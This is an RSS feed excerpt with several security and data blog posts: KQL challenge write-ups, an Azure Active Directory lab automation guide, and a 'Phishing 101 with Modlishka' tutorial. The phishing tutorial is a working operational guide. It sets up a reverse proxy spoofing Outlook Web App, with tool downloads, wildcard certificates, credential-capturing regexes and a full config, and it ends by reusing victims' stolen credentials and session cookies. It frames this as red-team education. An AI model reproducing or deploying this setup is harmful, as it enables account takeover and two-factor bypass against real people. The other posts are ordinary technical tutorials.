src="https://cdn-images-1.medium.com/max/810/1*XFEBKKw8nc09smwlM1GuHw.png" /></figure><pre>let poppyVotes = (Votes<br>| where vote == &quot;Poppy&quot;<br>| distinct hour=datetime_part(&quot;hour&quot;,Timestamp),<br>         minute=datetime_part(&quot;minute&quot;,Timestamp),<br>         second=datetime_part(&quot;second&quot;, Timestamp),<br>         via_ip);<br>let corrected_votes = (Votes<br>| where vote != &quot;Poppy&quot;<br>| union (poppyVotes));<br>corrected_votes<br>| summarize Count=count() by vote<br>| as hint.materialized=true T<br>| extend Total = toscalar(T | summarize sum(Count))<br>| project vote, Percentage = round(Count*100.0 / Total, 1), Count<br>| order by Count</pre><p>Even this answer was not accepted on the portal. We looked at average no of votes cast per minute across the entire Votes table and decided to changed our correction criteria from 1 vote per sec to 1 vote per minute and the answer was accepted 😄</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*y7wKqyna6nxSrpvSZNCLZA.png" /></figure><p><em>PS: I started learning KQL recently, feel free to reach out to me and correct me, incase you spot some inconsistencies I would highly appreciate that. And finally thank you very much for taking your time to read this post.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83c24559e35e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kusto Detective Agency — The rarest book is missing! (Part 1 of 5)]]></title>
            <link>https://sbasu7241.medium.com/kusto-detective-agency-the-rarest-book-is-missing-part-1-of-5-2a956b7ad8a1?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a956b7ad8a1</guid>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[kusto]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Tue, 15 Nov 2022 15:52:52 GMT</pubDate>
            <atom:updated>2023-02-21T15:53:40.456Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kusto Detective Agency — The rarest book is missing! (Part 1 of 5)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r_TdMtbXeJ97cD4I.png" /></figure><p>While browsing twitter, I came across <a href="https://detective.kusto.io/">Kusto Detective Agency</a> — a gamified way of learning Kusto Query Language (KQL).</p><p>There are a set of five challenges that participants are required to solve using their KQL skills and earn badges. Challenges are in the form of cases that need to be investigated by a detective agency (the storyline is awesome :P)</p><p>To start, participants are required to create a free Kusto cluster and separate data ingestion scripts are provided on a case to case basis.</p><h4>Challenges</h4><ul><li>Challenge 1: The rarest book is missing! (<em>Current article</em>)</li><li>Challenge 2: Election fraud? (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-election-fraud-part-2-of-5-83c24559e35e"><em>Here</em></a>)</li><li>Challenge 3: Bank robbery (<a href="https://sbasu7241.medium.com/kusto-detective-agency-bank-robbery-part-3-of-5-fd827e16de13"><em>Here</em></a>)</li><li>Challenge 4: Ready to play? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-ready-to-play-part-4-of-5-ffb664038293"><em>Here</em></a>)</li><li>Challenge 5: Big heist (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-big-heist-part-5-of-5-4ed633b719a5"><em>Here</em></a>)</li></ul><h3>Onboarding Task</h3><p>— — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_etWoD2Fa3gd-_GUwJuzEA.png" /><figcaption>Free Kusto Cluster</figcaption></figure><p>We are will create a free Kusto cluster, data ingestion scripts are provided at the bottom and we are given a challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vGgXncs7i621DqhAsPbiBw.png" /></figure><p>Let’s run the ingestion script and perform some light data exploration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*trGloOjVzaXE7SIkT96Z7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-cN4myISYEWQxMFPhOH8w.png" /></figure><pre>Onboarding<br>| summarize count()</pre><p>Pretty simple! Looks like we have a table with only one column (type: long) and 10,000,000 entries. We need a sum of all the entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*kHF8lomJeSeyhJr1ffaezA.png" /></figure><pre>Onboarding<br>| summarize Score=sum(toint(Score))</pre><p>And we have our answer 😋</p><h3>The rarest book is missing!</h3><p>— — — — — — — — — — — — — —</p><p>This challenge features a digital library where -</p><ul><li>Each book has its parameters recorded: number of pages, weight.</li><li>Each book has RFID sticker attached (RFID: radio-transmitter with ID).</li><li>Each shelve in the Museum sends data: what RFIDs appear on the shelve and also measures actual total weight of books on the shelve.</li></ul><p>However there is one particular — <em>“De Revolutionibus Magnis Data” </em>whose RFID has been detached from the book. We are required to locate the shelf number where this book resides.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pSxIM-ZCGerCSPpP2yvStQ.png" /></figure><p>We are provided with an ingestion script, let’s run the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-tYw7jnVd90jEn4mBOjiw.png" /></figure><p>So we have two tables — Books and Shelves. Some logical observations maybe</p><ul><li>Every book entry in the Books table has a <em>weight_gram </em>associated with it</li><li>Since every shelve has an array of rf_ids, we can map the individual rf_ids using the Books table and find their weights and finally sum all of them up.</li><li>If the sum of weights of books (corresponding to the rf_ids) on a shelve is significantly lower from the total_weight entry of the shelve — we know that a book is missing from the shelve</li></ul><p>Let’s do some light data exploration…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4uXkl3ib23RguOyRlxKcKw.png" /></figure><p>We will need to expand the <em>rf_id</em> dynamic array so that we can join it with the Books table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*sxcbxmJiTO9AL3rKLDigvg.png" /></figure><pre>Shelves<br>| mv-expand rf_ids <br>| project shelf,rf_id = tostring(rf_ids),total_weight</pre><p>Next let’s inner join it with the Books table based on the rf_id column and grab the individual weights of the books. Then run an aggregation to sum the weight of each book (<em>weight_gram</em>) by every shelve.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*niyJR77AwEr491wtpB0l5A.png" /></figure><pre>let shelves_expanded = (Shelves<br>| mv-expand rf_ids <br>| project shelf,rf_id = tostring(rf_ids),total_weight);<br>shelves_expanded<br>| join kind=inner(Books) on rf_id<br>| summarize weight=sum(weight_gram),books_count=count() by shelf<br>| order by shelf asc</pre><p>Next we need to compare the resulting sum of the weights (by summing individual book weights) we just obtained with the <em>total_weight</em> entry in the Shelves table. So, we will again inner join the resulting table with the original Shelves table based on the shelve number. Next we will create a new column which calculates the absolute difference between the sum of weight and obtained from the two tables and display those entries where the weight is a significant large value (I have chosen &gt; 100g)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*K6Mx9Mn0rLxTJSYeRBipQA.png" /></figure><pre>let shelves_expanded = (Shelves<br>| mv-expand rf_ids <br>| project shelf,rf_id = tostring(rf_ids),total_weight);<br>let shelves_weight = (shelves_expanded<br>| join kind=inner(Books) on rf_id<br>| summarize weight=sum(weight_gram),books_count=count() by shelf<br>| order by shelf asc);<br>shelves_weight<br>| join kind=inner(Shelves) on shelf<br>| extend difference = abs(total_weight - weight)<br>| where weight != total_weight and difference &gt; 100<br>| project shelf,weight, total_weight, books_count, difference<br>| sort by shelf asc</pre><p>And we have the required shelve number 😄</p><p><em>PS: I started learning KQL recently, feel free to reach out to me and correct me, incase you spot some inconsistencies I would highly appreciate that. And finally thank you very much for taking your time to read this post.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a956b7ad8a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Auror Project — Challenge 1  (Automated Active Directory Lab Deployment)]]></title>
            <link>https://sbasu7241.medium.com/auror-project-challenge-1-automated-active-directory-lab-deployment-53e323445f4d?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/53e323445f4d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Wed, 27 Apr 2022 22:26:20 GMT</pubDate>
            <atom:updated>2022-04-27T23:03:58.957Z</atom:updated>
            <content:encoded><![CDATA[<h3>Auror Project — Challenge 1 (Automated Active Directory Lab Deployment)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*AGXfwFIM_KZKv5Qe.png" /><figcaption>The Auror Project</figcaption></figure><p>Dear reader, before hopping on to the technical aspect, let me introduce you to the Auror Project. Its an initiative by <a href="https://www.linkedin.com/in/sudarshan-pisupati-607b0ab/">Mr. Sudarshan Pisupati</a> to build a challenge driven Infosec community.</p><blockquote>Registration link: <a href="https://forms.gle/Nuu3DyskCPbeYLGj6">https://forms.gle/Nuu3DyskCPbeYLGj6</a></blockquote><p>“<strong>3 Machine Labs</strong>” is a course under the Auror Project initiative. It comprises of weekly informative sessions followed by challenges designed to cement understanding of the discussed concepts. For this week, to be precise the challenge was to automate the following tasks. More on it <a href="https://docs.google.com/document/d/1Zk_O_JpFQk5JQRGF9CAC0plml3ua3hCQ5VBDLxE2GQI/edit#">here</a></p><blockquote>1. Spin up a Window 2016 server VM (Machine A)</blockquote><blockquote>2. Create an Active Directory Domain</blockquote><blockquote>3. Promote the server VM to DC</blockquote><blockquote>4. Add another server machine to the AD domain (Machine B)</blockquote><blockquote>5. Create a domain user</blockquote><blockquote>6. Configure the newly created user to be local admin on Machine B</blockquote><blockquote>7. Install Chrome on Machine B</blockquote><h3><strong>Tools of the Trade</strong></h3><p>My preferred choice of cloud provider is <strong>Azure</strong>. Additionally, <strong>Terraform </strong>will be used to scale up the Infrastructure and using <strong>Ansible </strong>modules we will provision our virtual machines (Windows &amp; Linux hosts) and apply configurational changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udihxuKGmmE8rn7obm3CWA.jpeg" /></figure><p>Before we start building the infra its very important to have a mental model or at least a rough sketch of what our end product should look like. In our case we plan to do it this way</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*aXBDegC-7Omw0EDDztMqbA.jpeg" /></figure><p>Link to entire source code on GitHub: <a href="https://github.com/sbasu7241/Auror-Project-Challenge-1">https://github.com/sbasu7241/Auror-Project-Challenge-1</a></p><h3><strong>Terraform in action!</strong></h3><h4>Azure CLI Setup</h4><p>First and foremost we need to setup the Azure CLI according to <a href="https://docs.microsoft.com/en-us/cli/azure/install-azure-cli">docs</a>. Once Azure CLI is installed we need to run az login to connect to our Azure account.</p><h4><strong>Var.tf</strong></h4><p>We will define all variables that we intend to use while writing various terraform scripts in this file. We will be adding more variables as we proceed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEFJ-Y66lFR1D1J17HvtFw.png" /><figcaption>var.tf</figcaption></figure><h4>Provider.tf</h4><p>We will be using the azurerm provider from hashicorp to configure infrastructure in <a href="https://azure.microsoft.com/en-us/">Microsoft Azure</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*4aEqnEFJV35g6K949Z1TCA.png" /><figcaption>provider.tf</figcaption></figure><h4>Network.tf</h4><p>Next we will cover some network components — virtual networks, subnets etc so that when creating the virtual machines we can properly set their network configuration.</p><p>We will create a resource group that will contain all our resources, a virtual network and a subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*f-khvT-N0Gxb77Po6sShlw.png" /></figure><p>Next we will create a network security group with proper security rules — allow inbound SSH, HTTP and RDP from whitelisted IP and allow all inbound traffic originating from inside the subnet so that hosts can talk to each other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsWCOQLCqvbiFYgPgaII0g.png" /></figure><p>Next we will associate our network security group to the created subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1pq8RFlLc2TvN9PpzoBbw.png" /></figure><p>Next we will add 2 Public IP addresses</p><ul><li>One for a <strong>Load balancer</strong> which will provide ssh access to Linux host (we will need to SSH into the jump box and use the same to provision and configure the AD domain and its hosts via Ansible)</li><li>Another, for a <strong>NAT gateway</strong> that will be used to provide outbound internet access to hosts in the subnet</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*VvJoVcFhFOPuP0oitJTHhg.png" /></figure><p>Our next step will be to create a Load balancer, assign the previously created public IP to it and create load balancer NAT rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*ogTAPBJ2S-BGvtWTrIv10A.png" /></figure><p>Finally we will create a NAT gateway, associate it with the previously allocated public IP address as well as with our subnet ensuring outbound Internet connectivity for all hosts in the subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m927Xl_B8O2PNx5lgnLIPA.png" /></figure><h4>Local.tf</h4><p>Before provisioning the hosts we will declare some local values intended to be used later while configuring our domain joined hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLIJZAG8S0bBRAFzr55FaA.png" /></figure><ul><li><em>FirstLogonCommands.xml </em>consists of command(s) that will run once for the first user that logs into the system in XML format.</li><li><em>Autologon.xml </em>specifies the account to use to log on to a computer automatically in XML format</li></ul><h4>Dc.tf</h4><p>We will first configure the network interface for the domain controller — assign it a static IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLwHQpz23vPcL63-cnt_0w.png" /></figure><p>Next, let’s create the Windows Server machine (DC) and associate the newly created network interface with the same</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*jZINqaqrejG4HX7KJX-a_A.png" /></figure><p>To conclude, we need a <em>Virtual Machine Extension</em> to perform automated post deployment configuration and run scripts as soon as the VM boots up . In our case we will be running — <em>ConfigureRemotingForAnsible.ps1</em> i.e. a powershell script that configures WinRM settings on domain joined hosts for Ansible connectivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mVzGeRczQk9Iz-iJeElAw.png" /></figure><h4>Server1.tf</h4><p>Similar to the domain controller machine, we will first configure the network interface first and assign it a static IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*d7cTnJl44ITBNyI45mnOsA.png" /></figure><p>Next we will spin up the machine and attach the newly created network interface to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*X7Xjo_-Y0oRWUhh_ptundA.png" /></figure><p>And finally using a <em>Virtual Machine Extension </em>to run ConfigureRemotingForAnsible.ps1 similar to the domain controller machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sLg0a2jrIRg8fjm6Gaz8Aw.png" /></figure><h4>Jumpbox.tf</h4><p>In case of the jumpbox host we will again go through the regular process — creating a network interface → provisioning the linux virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*GV3ECG0Ytw_Nf6XM-soHOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*h1FukRWausP-wnn8rgpwtQ.png" /></figure><p>However unlike other hosts we don’t need a <em>virtual machine extension </em>for this host. However in order to be able to SSH into the jumpbox from our whitelisted host through the internet we need to associate the network interface of the jumpbox to the load balancer NAT rule (allow inbound SSH from whitelisted IP)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZeZrfTnS3A5hCn99pb3cDg.png" /></figure><h4>Ansible.tf</h4><p>We will create a <em>null_resource </em>that will help us to provision the AD lab from the jumpbox using Ansible. This resource is expected to be triggered i.e. recreated every time the script is run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4rNF-9na1VgULRR9SzMCg.png" /></figure><p>This resource connects to our jumpbox via ssh and copies ansible script present locally onto the remote host and finally utilizes a <em>remote-exec provisioner </em>to install ansible along with the modules we wish to use and run the ansible playbooks from the jumpbox.</p><h4>Outputs.tf</h4><p>This last script contains multiple output values that would display information regarding the newly provisioned infra like —public IP of VM, domain name, admin user and pass etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8F1c7k2bjzfeP0djqqqEzQ.png" /></figure><p>Finally we have everything setup to setup the infra on Azure. We can run the following commands from the project directory to verify the same</p><blockquote><strong>terraform init</strong> → used to initialize a working directory containing Terraform configuration files</blockquote><blockquote><strong>terraform plan</strong> → creates an execution plan which lets you preview the addition/changes that Terraform plans to make to your infrastructure</blockquote><blockquote><strong>terraform apply </strong>→ executes the actions proposed in the current Terraform plan</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2zQCwX0g7_Fv8BM39AQcA.png" /></figure><p>This will create the resources as specified in the code on Azure.</p><h3>Ansible FTW!</h3><p>Now that we have our server machines and the other Linux host up and running, we will use Ansible to configure the windows hosts and perform configurational changes via WinRM.</p><h4>ansible.cfg</h4><p>Let’s specify the Ansible configuration settings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*A41P8LjJIYJs1WMsxnJ62w.png" /></figure><h4><strong>inventory.yml</strong></h4><p>This file contains a list/group of hosts present in your infra. Since the challenge requires static IP’s we will hardcode those in our inventory file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*Coo5Uhg_KzrL53V17KvSNw.png" /></figure><h4>group_vars\windows.yml</h4><p>We will define some group variables in this file so that we can apply them to multiple hosts at once.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*D45eZpMRIi53YyREkxpMGA.png" /></figure><h4>roles\domain\tasks\main.yml</h4><p>We will define a <em>domain </em>role and define a list of its tasks using this file. It will be used to set DNS config on the DC → install Active Directory and reboot so that the necessary changes can take place</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*eEfSUqmH2_ZBCCPkHR4j3g.png" /></figure><h4>roles\dc\tasks\main.yml</h4><p>We will define a <em>dc </em>role and define a list of its tasks using this file. This will be used to create a domain user acc. to the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*p34S88kPniNkDDbdEYwy-w.png" /></figure><h4>roles\server1\tasks\main.yml</h4><p>We will define a <em>server1</em> role and define a list of its tasks using this file. First we will configure its DNS and point preferred DNS server to IP address of the DC , then we will add the machine to the <em>aurora.local</em> domain. After a reboot, according to the challenge we will disable domain firewall → add the previously created Adam user to local admin group on this machine and finally install Google Chrome.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*CqkvNGi6FriMRCir5pTDuQ.png" /></figure><h4>Ansible playbook — ad-cloudlab.yml</h4><p>Finally we will create our ansible playbook that will orchestrate all of these tasks onto their respective hosts in a defined order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*jOuUWmZkOHhA4NBxpOcn-A.png" /></figure><h3>Result</h3><p>After adding the Ansible scripts, we can run terraform apply again to put them into effect. So finally, we have successfully setup our Active Directory environment compromising of a domain controller and a domain joined server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFVO3137LfEhK-wC6TPUJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dI5BdmiipZIQRLOJ9UMilg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5jBY0M82XP8K1dkkjCyYqg.png" /></figure><p>After you are done with the lab we can destroy everything that we did using terraform by simply running,</p><blockquote>terraform destroy</blockquote><p>PS: This is my first attempt at infra automation and I would highly appreciate any correction/suggestions, please feel free to reach out to me. And finally thank you very much for taking your time to read this post hope you enjoyed it 😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53e323445f4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phishing 101 with Modlishka]]></title>
            <link>https://sbasu7241.medium.com/phishing-101-with-modlishka-f3255e31b68b?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3255e31b68b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[office-365]]></category>
            <category><![CDATA[owa]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Thu, 22 Apr 2021 19:26:36 GMT</pubDate>
            <atom:updated>2021-04-23T04:47:31.928Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7GrtOSrwu1vZMHJRxMZ5rA.png" /></figure><p><em>Very recently I got a chance to get my hands dirty on </em><a href="https://github.com/drk1wi/Modlishka"><strong><em>Modlishka</em></strong></a><em>, thanks to some awesome people at my workplace 🤘</em></p><p><em>For those who aren’t aware Modlishka is a powerful and flexible HTTP reverse proxy that has a universal 2FA “bypass” support.</em></p><p><em>It allows to transparently proxy multi-domain destination traffic, both TLS &amp; non-TLS, over a single domain, without a requirement of installing any additional certificate on the client. Enough of technical jargons …</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*PZLPS-m1_iGNudZPyfhewA.gif" /></figure><h3><strong>Requirements</strong></h3><p>— — — — — — — —</p><p><em>I needed to setup a fake</em> <em>Outlook Web App login page…</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6R-IQlHzh3FgEeH6cC93g.png" /></figure><p><em>With time I realized that the Modlishka</em><strong><em> </em></strong><em>default templates are little bit outdated and it took me some time and effort to get it up &amp; working again so I decided to blog about it :)</em></p><h3><strong>Setup</strong></h3><p>— — — —</p><ol><li><em>We will create a new Digital Ocean droplet.</em></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7iEOdHgINw5D9Je25nWqw.png" /><figcaption>droplet created</figcaption></figure><p><em>2. After we ssh in, we will install certbot and download the Modlishka standalone binary as well as the default config file</em></p><p><a href="https://github.com/drk1wi/Modlishka/releases/tag/v.1.1.0">Release Modlishka evolved · drk1wi/Modlishka</a></p><pre>apt-get update &amp;&amp; apt-get install certbot</pre><pre>wget <a href="https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64">https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64</a></pre><pre>chmod +x Modlishka-linux-amd64</pre><pre>wget <a href="https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64">https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64</a></pre><pre>wget <a href="https://raw.githubusercontent.com/drk1wi/Modlishka/master/templates/office365.json">https://raw.githubusercontent.com/drk1wi/Modlishka/master/templates/office365.json</a></pre><h3>Generating wild-card SSL certificates</h3><p>— — — — — — — — — — — — — — — — — — — — — —</p><p><em>Suppose that we own the domain </em><strong><em>redacted.com </em></strong><em>and we wish generate a wild card SSL certificate that allow us to secure multiple sub domain names (hosts) pertaining to the same base domain. For that we will use </em><a href="https://letsencrypt.org/"><em>https://letsencrypt.org/</em></a></p><pre>certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redacted.com --email basu@gmail.com</pre><p><em>This will generate a challenge code as shown below:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIvtLEYOnANwNYLJOt26YQ.png" /><figcaption>challenge code</figcaption></figure><h3>Adding DNS records</h3><p>— — — — — — — — — — — —</p><p><em>In total we need to create three DNS records:</em></p><ul><li><strong><em>A</em></strong><em> record for the root host </em><em>@ that will point to the droplet IP</em></li><li><strong><em>CNAME </em></strong><em>record for any subdomain </em><em>* pointing to </em><em>@</em></li><li><strong><em>TXT</em></strong><em> record for redacted.com according to the challenge code shown above</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KROxV-9ACDa87j7RUjQQcg.png" /><figcaption>DNS Records</figcaption></figure><h3>Fixing certificate formats</h3><p>— — — — — — — — — — — — — — —</p><p><em>Once the TXT record is set and verified, the certificate and the private key will be generated. However Modlishka wants them in a different format so let’s convert it accordingly:</em></p><pre>cp -r /etc/letsencrypt/live/redacted.com/* /root/</pre><pre>awk &#39;{printf &quot;%s\\n&quot;, $0}&#39; fullchain.pem</pre><pre>awk &#39;{printf &quot;%s\\n&quot;, $0}&#39; privkey.pem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*3xjcTGroHtvyBFbQxF2E5Q.png" /><figcaption>fullchain.pem</figcaption></figure><p><em>Open </em><strong><em>office365.json</em></strong><em> and copy the result of the awk’d command from </em><em>fullchain.pem into </em><em>cert parameter and </em><em>privkey.pem into </em><em>certKey parameter.</em></p><h3>Fixing the configuration</h3><p>— — — — — — — — — — — — — —</p><p><em>The</em><a href="https://github.com/drk1wi/Modlishka/blob/master/templates/office365.json"><em> Modlishka Office365 template in Github</em></a><em> doesn’t parse the username and password by itself and needs some tweaking </em>🤔</p><p><em>We see that owa based authentication does a </em><strong><em>POST</em></strong><em> request at the </em>owa/auth.owa <em>endpoint.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vraWJ3Zw80X4scivj7ZL2A.png" /><figcaption>login request</figcaption></figure><p><em>In order to grab the credentials so we need to adjust Modlishka’s </em><strong><em>credParams </em></strong><em>configuration using regex that can be verified from </em><a href="https://regex101.com/"><em>https://regex101.com/</em></a></p><pre>username=([^\W]+[\.,\-,\_]{0,}\w+[\@,\%40]\w+[\.,\-,\_]{0,}\w+\.\w{2,5})<br>password=([a-zA-Z0-9&quot;!&quot;#$%&amp;&#39;()*+,-./:;&lt;=&gt;?@^_{|}~]+)&amp;passwordText</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i07Vg4bjpyVYUWGKtwmfRQ.png" /><figcaption>username base64 encoded</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQutW8xgFOMKBUbQkQ34JQ.png" /><figcaption>password base64 encoded</figcaption></figure><p><em>Now we will add these base64 encoded values inside </em><strong><em>credParams</em></strong><em> separated by a comma.</em></p><pre>“credParams”: “dXNlcm5hbWU9KFteXFddK1tcLixcLSxcX117MCx9XHcrW1xALFwlNDBdXHcrW1wuLFwtLFxfXXswLH1cdytcLlx3ezIsNX0p,cGFzc3dvcmQ9KFthLXpBLVowLTkiISIjJCUmJygpKissLS5cLzo7PD0+P0BeX3t8fX5dKykmcGFzc3dvcmRUZXh0”</pre><p><em>Full configuration without the certificate and key:</em></p><pre>{<br>  //domain owned and controlled by you<br>  &quot;proxyDomain&quot;: &quot;redacted.com&quot;,<br>  &quot;listeningAddress&quot;: &quot;0.0.0.0&quot;,<br>  &quot;proxyAddress&quot;: &quot;&quot;,</pre><pre>  //actual target domain which you want to spoof<br>  &quot;target&quot;: &quot;target.com&quot;,<br>  &quot;targetResources&quot;: &quot;&quot;,<br>  &quot;rules&quot;: &quot;by5zZXRBdHRyaWJ1dGUoImludGVncml0eSI=:by5zZXRBdHRyaWJ1dGUoImludGVnZHJpdHki,aW50ZWdyaXR5PQ==:aW50ZWdyaWN0eT0=,PC9oZWFkPg==:&quot;,<br>  <br>  //endpoints maybe mentioned that will trigger a terminate on successful login<br>  &quot;terminateTriggers&quot;: &quot;&quot;,</pre><pre>  //after termination victim can redirected to any arbitrary URL<br>  &quot;terminateRedirectUrl&quot;: &quot;&quot;,<br>  &quot;trackingCookie&quot;: &quot;id&quot;,<br>  &quot;trackingParam&quot;: &quot;id&quot;,<br>  &quot;jsRules&quot;:&quot;&quot;,<br>  &quot;jsReflectParam&quot;: &quot;reflect&quot;,<br>  &quot;debug&quot;: false,<br>  &quot;forceHTTPS&quot;: false,<br>  &quot;forceHTTP&quot;: false,<br>  &quot;dynamicMode&quot;: false,<br>  &quot;logPostOnly&quot;: false,<br>  &quot;disableSecurity&quot;: false,<br>  &quot;log&quot;: &quot;ms.log&quot;, <br>  &quot;plugins&quot;: &quot;all&quot;,<br>  &quot;credParams&quot;: &quot;dXNlcm5hbWU9KFteXFddK1tcLixcLSxcX117MCx9XHcrW1xALFwlNDBdXHcrW1wuLFwtLFxfXXswLH1cdytcLlx3ezIsNX0p,cGFzc3dvcmQ9KFthLXpBLVowLTkiISIjJCUmJygpKissLS5cLzo7PD0+P0BeX3t8fX5dKykmcGFzc3dvcmRUZXh0&quot;,<br>  &quot;cert&quot;: &quot;&quot;, //awk&#39;d version of fullchain.pem<br>  &quot;certKey&quot;: &quot;&quot;, //awk&#39;d version of privkey.pem<br>  &quot;certPool&quot;: &quot;&quot;<br>}</pre><h3><strong>Pwnage</strong></h3><p>— — — — —</p><p><em>Let’s get the modlishka up and running…</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BA3tgdO9yWMbMla5n1sjAQ.png" /><figcaption>modlishka</figcaption></figure><p><em>Finally after the victim has logged in using our Modlishka proxy page we can find the stolen credentials not only via logs but also via the</em> /SayHello2Modlishka <em>endpoint.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lv4zkb92TBLztOwmR_mhaw.png" /><figcaption>stolen credentials</figcaption></figure><p><em>Now we can use their credentials directly to log into our target domain or use their cookies and feed them to a </em><a href="https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/"><em>cookie editor</em></a><em> and refresh the page to get logged in automatically.</em></p><h3>Disclaimer</h3><p>— — — — — — —</p><p><em>This demo is only for demonstration and education purposes. Do not use these instructions to anything illegal.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ST3XmoWv6xFt1clUdjlBEg.jpeg" 